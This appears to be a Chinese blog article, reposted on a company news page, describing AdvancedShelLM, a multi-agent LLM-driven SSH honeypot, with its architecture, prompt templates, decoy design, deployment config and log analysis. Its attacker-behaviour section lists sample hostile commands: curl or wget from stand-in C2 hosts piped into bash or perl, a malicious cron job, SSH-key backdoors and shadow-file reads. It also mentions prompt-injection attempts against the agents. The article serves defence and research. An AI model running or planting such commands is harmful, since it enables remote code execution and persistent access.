资讯动态

基于多智能体大模型的SSH蜜罐:AdvancedShelLM架构与实战

发布时间:2026/8/17 13:37:28 来源:尧图企业网站定制
1. 项目概述当SSH蜜罐遇上多智能体大模型最近在安全研究圈里一个名为“AdvancedShelLM”的项目引起了我的注意。这名字一听就很有意思它把“Shell”命令行外壳和“LLM”大语言模型结合在了一起后缀还带了个“LM”。简单来说这是一个有状态的、基于多智能体大语言模型的SSH蜜罐。如果你对网络安全、入侵检测或者大模型应用感兴趣这个项目绝对值得深挖。它本质上解决了一个老问题如何让蜜罐Honeypot变得更聪明、更逼真从而更有效地诱捕和欺骗攻击者。传统的SSH蜜罐比如Cowrie或Kippo通常是通过模拟一个有限的、预定义的命令集和文件系统来工作的。攻击者登录后可以执行一些基础命令如ls、cd、cat等蜜罐会返回预设的响应。但这种方法有几个明显的短板交互深度有限稍微复杂或非常规的命令就可能露馅缺乏状态记忆攻击者在不同会话或同一会话的不同步骤中的操作无法连贯起来行为模式固定容易被经验丰富的攻击者识别出是“机器人”而非真人。AdvancedShelLM的核心理念就是用大语言模型LLM来驱动蜜罐的“大脑”并且不是用一个模型而是用**多个分工协作的智能体Multi-Agent**来模拟一个完整的、有逻辑的系统环境。想象一下攻击者通过SSH连接进来他面对的不是一个简单的脚本而是一个由多个“AI管理员”共同维护的虚拟Linux服务器。这些AI智能体各有专长一个负责解析命令意图一个负责维护虚拟文件系统的状态一个负责生成符合Linux语法的、逼真的命令输出甚至还有一个负责扮演“用户”或“其他进程”让整个环境看起来生机勃勃。这种设计让蜜罐的欺骗性Deception提升到了一个新的高度。2. 核心架构与多智能体协同设计2.1 为什么选择多智能体架构单一大模型处理复杂、长期的交互任务时容易产生“遗忘”或逻辑不一致的问题。在蜜罐场景下攻击者可能会进行长达数小时甚至数天的渗透测试操作涉及文件遍历、权限提升、网络探测、服务配置等多个维度。一个单一的“全能”模型很难同时保持所有这些上下文信息的一致性和准确性。多智能体架构通过角色分工和专业化解决了这个问题。在AdvancedShelLM的设计中我推测其智能体可能包括以下几个核心角色会话管理器Session Manager Agent这是总控中心。它维护每个SSH会话的完整上下文包括连接来源IP、用户名、当前工作目录PWD、命令历史、以及与其他智能体交互的中间状态。它负责接收原始命令字符串并将其分发给最合适的智能体处理。命令理解与路由器Command Parser Router Agent这个智能体专门负责自然语言理解NLU但对象是命令行指令。它需要将ls -la /etc这样的字符串解析成结构化的意图操作是“列表”目标是“/etc目录”参数是“显示所有文件包括隐藏文件和详细信息”。然后它根据意图决定是将请求发送给文件系统智能体还是系统信息智能体。虚拟文件系统智能体VFS Agent这是维持状态Stateful的关键。它维护一个虚拟的、动态变化的文件系统树。这个树不是静态的而是可以根据攻击者的操作如touch、echo、rm和预设的“诱饵”内容如假的配置文件、含有弱密码的shadow文件副本进行实时更新。它需要精确记录每个文件的权限、所有者、时间戳和内容。响应生成智能体Response Generator Agent它接收来自其他智能体的结构化数据例如VFS智能体提供的文件列表然后生成看起来完全像真实Linux终端输出的文本。这包括正确的格式、颜色如果终端支持、错误信息如“Permission denied”或“No such file or directory”以及符合当前上下文的内容例如/home目录下应该有几个看起来合理的用户文件夹。系统与环境模拟智能体System Simulator Agent负责模拟超出简单文件操作之外的系统行为。例如当攻击者执行ps aux时它需要生成一组正在运行的进程列表执行ifconfig或ip addr时需要生成虚拟的网络接口信息执行uname -a时需要返回一个合理的系统内核版本。这个智能体需要和VFS智能体保持一定同步比如/proc目录下的内容应该和ps命令的输出有逻辑关联。注意智能体间的通信不是简单的函数调用而是基于一种共享工作空间或消息总线的机制。每个智能体将自己的输出结构化的数据或决策发布到总线上由会话管理器或下一个智能体消费。这保证了系统的解耦和可扩展性。2.2 状态Stateful是如何实现的“有状态”是AdvancedShelLM区别于传统蜜罐的核心。其状态管理主要依托于两个层面会话级状态由会话管理器维护。这包括经典的Linux环境变量如$PATH$HOME 命令历史可通过history命令查询 以及最重要的——当前工作目录。攻击者执行cd /var/log后后续所有相对路径命令如cat syslog都必须基于/var/log来解析。这个状态必须跨同一个连接中的所有命令持续存在。系统级状态主要由虚拟文件系统VFS智能体维护。这是一个在内存或持久化存储中的数据结构可能是嵌套的字典或专门的图数据库 模拟了整个服务器的文件系统。当攻击者执行echo “malware_backdoor” /tmp/backdoor.sh时VFS智能体不仅要在/tmp下创建backdoor.sh文件还要为其设置合理的权限如644 并记录内容。当攻击者稍后执行chmod x /tmp/backdoor.sh时VFS智能体要更新该文件的权限位。甚至当攻击者尝试./backdoor.sh时系统模拟智能体可能需要介入模拟执行并生成一些输出如“bash: ./backdoor.sh: Permission denied”或一个假的执行成功回显。这种深度状态维护使得攻击者可以进行复杂的、多步骤的攻击链模拟例如上传工具 - 解压 - 编译 - 修改配置 - 提权。蜜罐可以“记住”攻击者上传了哪些文件放在了哪里从而在后续交互中做出符合逻辑的响应。3. 关键技术点深度解析3.1 大语言模型LLM的精准角色控制用LLM来模拟命令行交互最大的挑战是控制模型的“胡言乱语”Hallucination。一个未经精心调教的通用LLM当你问它“ls /的输出是什么”时它可能会基于训练数据生成一个合理的、但却是静态的、通用的列表。而在蜜罐中ls /的输出必须基于当前VFS的实时状态并且可能为了诱骗攻击者而特意放置一些“诱饵”文件如secret_backup.tar.gz。因此AdvancedShelLM不能直接让LLM自由生成。其核心技术在于严格的提示词工程Prompt Engineering和上下文注入。每个智能体背后的LLM调用其提示词Prompt都经过了高度定制。以响应生成智能体为例它的提示词模板可能长这样你是一个真实的Linux服务器终端。请根据以下结构化信息生成一段完全符合Linux bash终端风格的命令行输出。 注意只输出模拟的终端回显不要有任何额外的解释或标记。 当前工作目录{current_dir} 上一条命令{previous_command} 当前用户{username} 【命令处理结果】 命令{command} 操作类型{operation} (如LIST_FILES, READ_FILE, EXECUTE) 操作目标{target_path} 操作结果状态{status} (SUCCESS, NOT_FOUND, PERMISSION_DENIED, IS_A_DIRECTORY) 结果数据{structured_data} (例如文件列表的数组、文件内容的字符串、进程列表的数组) 请生成输出在这个提示词中structured_data是由上游智能体如VFS智能体提供的精确、实时的数据。LLM的任务不是“创造”数据而是“格式化”数据并添加一些符合语境的、非关键性的细节比如文件列表的排序、输出中的颜色转义码如果模拟彩色终端、或者一个成功的命令执行后可能出现的空行。3.2 虚拟文件系统VFS的动态构建与诱饵设计VFS是蜜罐欺骗性的物质基础。一个粗糙的、只有/bin、/etc、/home几个空目录的VFS很快会被识破。一个优秀的VFS需要完整性包含一个典型Linux服务器应有的主要目录结构深度至少2-3层。例如/etc下应该有passwd、shadow当然是假的、ssh/sshd_config、network/interfaces等文件/var/log下应该有auth.log、syslog、dpkg.log等并且文件大小和修改时间要看起来合理比如日志文件通常比较大且修改时间较新。一致性文件内容之间要有关联。/etc/passwd里列出的用户应该在/home下有对应的目录。/etc/shadow里的密码哈希应该能和passwd里的用户对应上可以设置一些弱密码哈希作为诱饵。ps aux输出的进程用户应该是passwd中存在的用户。动态性VFS需要支持增删改查。这不仅是为了响应攻击者也是为了主动布置诱饵。例如可以定期或根据攻击者行为触发在/tmp或/dev/shm中“创建”一些看起来像其他攻击者遗留的工具或临时文件增加环境的真实感和混乱度。诱饵质量这是艺术和技术的结合。一个放在/root/.ssh/目录下的id_rsa私钥文件如果内容明显是乱码就毫无价值。它应该是一个格式正确的RSA私钥但对应的公钥并不在authorized_keys中或者对应一个无法访问的跳板机。一个/etc/shadow文件里面可以包含几个采用常见弱密码如password123、admin生成的哈希诱惑攻击者去破解从而浪费其时间和资源并产生告警。在实现上VFS可能用一个Python字典或类来模拟每个节点包含名称、类型文件/目录、权限、所有者、组、修改时间、内容对于文件和子节点对于目录。所有操作mkdirtouchechorm都转化为对这个内存数据结构的操作。3.3 性能、延迟与对抗性提示注入防护将LLM用于实时交互的SSH蜜罐性能和延迟是无法回避的挑战。每次击键如果是交互式或每次命令提交都可能触发多个LLM API调用解析-路由-处理-生成。这带来了显著的延迟。性能优化策略智能体缓存对常见、确定的操作进行缓存。例如ls /的输出在VFS初始状态未改变时可以直接返回缓存结果无需经过LLM生成。命令解析器对于ls -la这样高度格式化的命令可以优先使用正则表达式等规则匹配而非全部交给LLM。轻量级模型与模型分级不是所有任务都需要GPT-4级别的模型。命令解析和路由可以使用更小、更快的开源模型如Llama 3的8B版本或专门微调的模型。只有复杂的、需要“创造性”欺骗的响应生成才使用能力更强的大模型。异步与非阻塞处理SSH会话可以设计为异步模式。当用户输入一个命令后蜜罐可以先返回一个“正在处理”的提示或者模拟一个轻微的延迟这本身也很真实然后在后台并行处理各个智能体的任务准备好响应后再输出。这需要精细的会话状态管理。对抗性提示注入防护攻击者可能会尝试输入一些精心构造的命令意图“欺骗”或“越狱”背后的LLM智能体让其执行非预期的操作或泄露系统信息。例如输入一段包含特殊指令的文本希望LLM将其作为系统指令执行。 防护方法包括严格的输入清洗与规范化在命令到达LLM解析器之前进行严格的过滤和转义。系统提示词隔离在给LLM的提示词中明确强调其角色和边界使用“你只能...”、“你绝不能...”等强约束性语句并将用户输入即攻击者的命令放在明确的分隔符内如[USER COMMAND] ... [/COMMAND]。输出过滤与验证LLM生成的响应在返回给用户前需要经过一个安全层过滤检查是否包含敏感信息或异常格式。4. 实战部署与配置要点4.1 基础环境搭建部署AdvancedShelLM这类项目需要一个能够运行Python假设项目基于Python和连接LLM API或本地模型的环境。以下是基于常见实践的一个部署思路服务器准备选择一台具有公网IP的云服务器如AWS EC2、DigitalOcean Droplet、或任何VPS。操作系统推荐Ubuntu 22.04 LTS或更新版本因其软件包较新且社区支持好。依赖安装核心是Python环境。建议使用conda或venv创建独立的虚拟环境避免污染系统Python。# 更新系统并安装基础工具 sudo apt update sudo apt upgrade -y sudo apt install -y python3-pip python3-venv git # 创建项目目录和虚拟环境 mkdir ~/advancedshellm cd ~/advancedshellm python3 -m venv venv source venv/bin/activate获取项目代码从GitHub等代码仓库克隆项目这里以假设的仓库为例。git clone https://github.com/username/AdvancedShelLM.git . # 安装项目依赖通常项目根目录会有requirements.txt pip install -r requirements.txtrequirements.txt里很可能包含openai如果使用GPT API、anthropicClaude API、transformers本地运行开源模型、paramikoPython SSH库、sqlalchemy用于状态持久化等关键库。4.2 核心配置文件详解这类项目通常有一个核心配置文件如config.yaml或.env 需要重点配置以下几部分# config.yaml 示例 llm: provider: openai # 或 anthropic, local openai_api_key: ${OPENAI_API_KEY} # 建议从环境变量读取 model: gpt-4-turbo-preview # 用于复杂生成的模型 fast_model: gpt-3.5-turbo # 用于命令解析等轻量任务的模型 temperature: 0.1 # 低温度确保输出稳定、可预测 max_tokens: 500 honeypot: ssh_port: 2222 # 监听的SSH端口避免与系统22端口冲突 host_key_file: ./ssh_host_rsa_key # SSH主机密钥路径 banner: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-xx-generic x86_64)\n # 自定义登录横幅 max_sessions_per_ip: 3 # 单个IP最大会话数防滥用 session_timeout_seconds: 1800 # 会话超时时间30分钟 vfs: template_path: ./vfs_templates/ubuntu_server # 虚拟文件系统模板目录 enable_dynamic_bait: true # 是否启用动态诱饵生成 bait_interval_minutes: 30 # 动态生成诱饵的间隔 logging: level: INFO file_path: ./logs/advancedshellm.log # 关键记录所有交互会话用于后续攻击分析 session_log_dir: ./logs/sessions/配置要点解析LLM配置temperature务必设低0.1-0.3 高温度会导致输出随机性大破坏蜜罐的一致性。max_tokens需要根据响应长度合理设置避免生成过长无关内容。SSH端口强烈建议不要使用默认的22端口。在公网开放22端口会引来大量自动化扫描和暴力破解可能干扰蜜罐的正常分析目的。使用2222、8022等高位数端口。主机密钥需要生成一个专用的SSH主机密钥。可以使用ssh-keygen -t rsa -b 4096 -f ./ssh_host_rsa_key生成并确保配置文件中的路径正确。VFS模板这是欺骗性的核心。你需要预先准备一个详尽的虚拟文件系统模板。可以从一个干净的Docker容器中导出目录结构或使用工具生成然后手动添加高质量的诱饵文件。4.3 启动与运维启动服务通常项目会提供一个主启动脚本例如python main.py或python -m advancedshellm。可能需要以root权限运行才能绑定1024以下的端口但更安全的做法是以非root用户运行在2222这样的端口。# 使用非root用户运行在2222端口 sudo setcap cap_net_bind_serviceep $(readlink -f $(which python)) # 允许Python绑定低端口可选 # 或者直接使用高端口 python main.py --config config.yaml日志监控日志是蜜罐的价值所在。你需要实时监控session_log_dir下的日志文件。每个攻击者的会话可能会被记录为一个独立的文件包含时间戳、源IP、输入命令、生成响应等。可以使用tail -f或日志聚合工具如ELK Stack进行监控。与现有安全设施集成可以将蜜罐服务器的IP加入到你的威胁情报平台TIP或安全信息与事件管理SIEM系统的观察列表中。当蜜罐捕获到攻击行为如暴力破解成功、上传恶意软件 可以通过Webhook或Syslog将告警发送到SIEM丰富你的安全态势感知。5. 攻击行为分析与防御价值挖掘部署AdvancedShelLM这样的高级蜜罐终极目的不是“抓住”攻击者而是学习他们。通过分析记录下的交互日志我们可以获得传统防火墙和IDS无法提供的深层洞察。5.1 从日志中能发现什么一份典型的会话日志可能包含以下攻击模式侦察与指纹识别攻击者登录后通常会执行一系列命令来识别系统。uname -a cat /etc/issue cat /proc/version dpkg -l | head -20 # 对于Debian/Ubuntu ps aux netstat -tulpn # 或 ss -tulpn通过分析这些命令的顺序和变体可以了解攻击者使用的自动化工具或手动攻击流程。横向移动与权限提升尝试find / -perm -4000 2/dev/null # 查找SUID文件 cat /etc/passwd cat /etc/shadow # 尝试读取密码哈希 sudo -l # 检查当前用户的sudo权限 crontab -l # 检查计划任务这些命令揭示了攻击者试图在系统内扩大立足点的意图。蜜罐可以在此处提供精心设计的“漏洞”例如一个配置错误的SUID文件或一个弱密码哈希来观察攻击者的后续操作。持久化与后门安装echo */5 * * * * curl http://malicious-site.com/shell.sh | bash /tmp/cronjob crontab /tmp/cronjob # 尝试添加恶意计划任务 echo ssh-rsa AAAAB3NzaC... attackerkey ~/.ssh/authorized_keys # 添加SSH公钥这是攻击者试图维持访问的阶段。蜜罐可以“允许”这些操作成功在虚拟环境中 从而记录下完整的攻击载荷如恶意脚本的URL、攻击者的公钥 这些是宝贵的威胁情报IoC。命令与控制C2活动curl -s http://c2-server.com/backdoor | bash wget -qO- http://c2-server.com/payload | perl直接观察到C2服务器的域名或IP地址这是溯源和威胁狩猎的关键信息。5.2 蜜罐数据的运营与反制收集到的数据需要转化为行动IoC提取与共享自动化地从日志中提取IP、域名、URL、文件哈希、攻击者用户名等指标并提交到内部的威胁情报库或与同行共享如通过MISP平台。攻击链重构将单个攻击者的多次会话或多个攻击者对同一蜜罐的访问按照时间线拼接可以还原出完整的攻击剧本Playbook。这有助于理解特定攻击组织APT或僵尸网络Botnet的战术、技术和程序TTPs。主动防御与欺骗深化基于观察到的攻击模式可以动态调整蜜罐的“剧本”。例如如果发现攻击者频繁搜索某个特定漏洞如Log4j 可以在VFS中放置一个包含该漏洞版本的假jar文件并配套一个假的日志文件引诱攻击者进一步暴露其工具和方法。研究与趋势分析长期运营蜜罐可以分析攻击来源的地理分布变化、流行漏洞利用工具的更迭、新型攻击手法的出现等宏观趋势为整体安全策略的调整提供依据。6. 常见陷阱、挑战与优化方向在实际构建和运营这样一个复杂蜜罐的过程中会遇到不少坑。这里分享一些我预见到或从类似项目中总结出的经验。6.1 性能与成本瓶颈挑战LLM API调用是主要成本和时间开销来源。尤其是当蜜罐暴露在公网面临大量自动化扫描和暴力破解时每个连接尝试和错误密码输入如果都触发LLM处理成本将不可控。应对策略前置过滤层在SSH连接到达LLM智能体之前部署一个轻量级的过滤层。例如使用Fail2ban来封禁短时间内多次尝试失败密码的IP。或者对于明显是自动化扫描的会话如只尝试一个密码就断开 直接用一个极简的、静态的模拟响应打发掉不进入完整的LLM处理流程。本地模型优先对于命令解析、路由和简单的响应生成优先考虑使用量化后的、可在本地高效运行的小模型如通过llama.cpp或ollama运行的7B-13B参数模型。仅将需要高度“拟人”和“创造性”的任务交给云端大模型。响应缓存与模板化对高频、确定的命令响应如pwdwhoamils /在初始状态下进行缓存。甚至可以准备大量的响应模板LLM只负责填充其中的变量部分。6.2 逼真度与逻辑一致性维护挑战多智能体协同工作如何确保不同智能体对同一状态的认知是一致的例如文件系统智能体删除了一个文件但系统信息智能体在生成ps输出时却显示一个正在使用该已删除文件的进程这就产生了逻辑矛盾。应对策略中央状态总线设计一个唯一的、权威的中央状态存储可以是内存中的对象也可以是Redis这样的快速数据库。所有智能体读取和修改状态都必须通过这个中央存储确保状态的单一事实来源。状态变更通知机制当一个智能体修改了状态如删除了文件 它需要向一个消息队列或事件总线发布一个“状态变更事件”。其他关心此状态的智能体如系统模拟智能体订阅这些事件并据此更新自己的内部缓存或逻辑。这类似于微服务中的领域事件驱动设计。定期一致性校验可以运行一个后台任务定期检查VFS、进程列表、网络配置等不同状态视图之间的一致性并自动修复或告警。6.3 安全与反溯源风险挑战蜜罐本身也可能成为攻击目标。攻击者可能尝试攻击蜜罐软件本身的漏洞如Paramiko库的漏洞 或者通过蜜罐作为跳板攻击内网如果部署不当。此外过于逼真的蜜罐可能被攻击者用作“攻击素材”例如攻击者将蜜罐中“获取”的假凭证或假数据用于社会工程学攻击反而损害了部署方的声誉。应对策略严格网络隔离蜜罐必须部署在独立的、隔离的网络段DMZ 确保它与内部生产网络没有任何路由连接。使用主机防火墙如iptables严格限制蜜罐服务器的出站连接只允许其访问必要的LLM API和日志服务器。最小化依赖与持续更新保持所有依赖库如Paramiko Transformers更新到最新版本以修复已知漏洞。定期进行安全审计。法律与道德声明在登录横幅Banner或蜜罐的“免责声明”文件中明确声明该系统是监控和研究用的蜜罐任何未经授权的访问行为将被记录和分析。这既是一种法律保护也可能吓退一些低级别的攻击者。诱饵水印在所有生成的诱饵文件内容中嵌入不易察觉但可追溯的“水印”如特定的字符串模式、假的用户邮箱格式 以便在外部发现这些数据时能追溯到它们来源于你的蜜罐。AdvancedShelLM代表了一种将前沿AI技术与传统安全防御手段深度融合的探索方向。它不再是被动的记录器而是主动的“对话者”和“陷阱布置者”。虽然目前这类项目在性能、成本和运营复杂度上仍有很高门槛但它为理解自动化攻击、高级持续性威胁APT以及未来可能出现的AI驱动攻击提供了前所未有的视角和工具。对于安全研究人员和希望构建深度防御体系的企业来说投入资源去理解和实验这类技术无疑是在为应对未来更复杂的威胁做准备。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价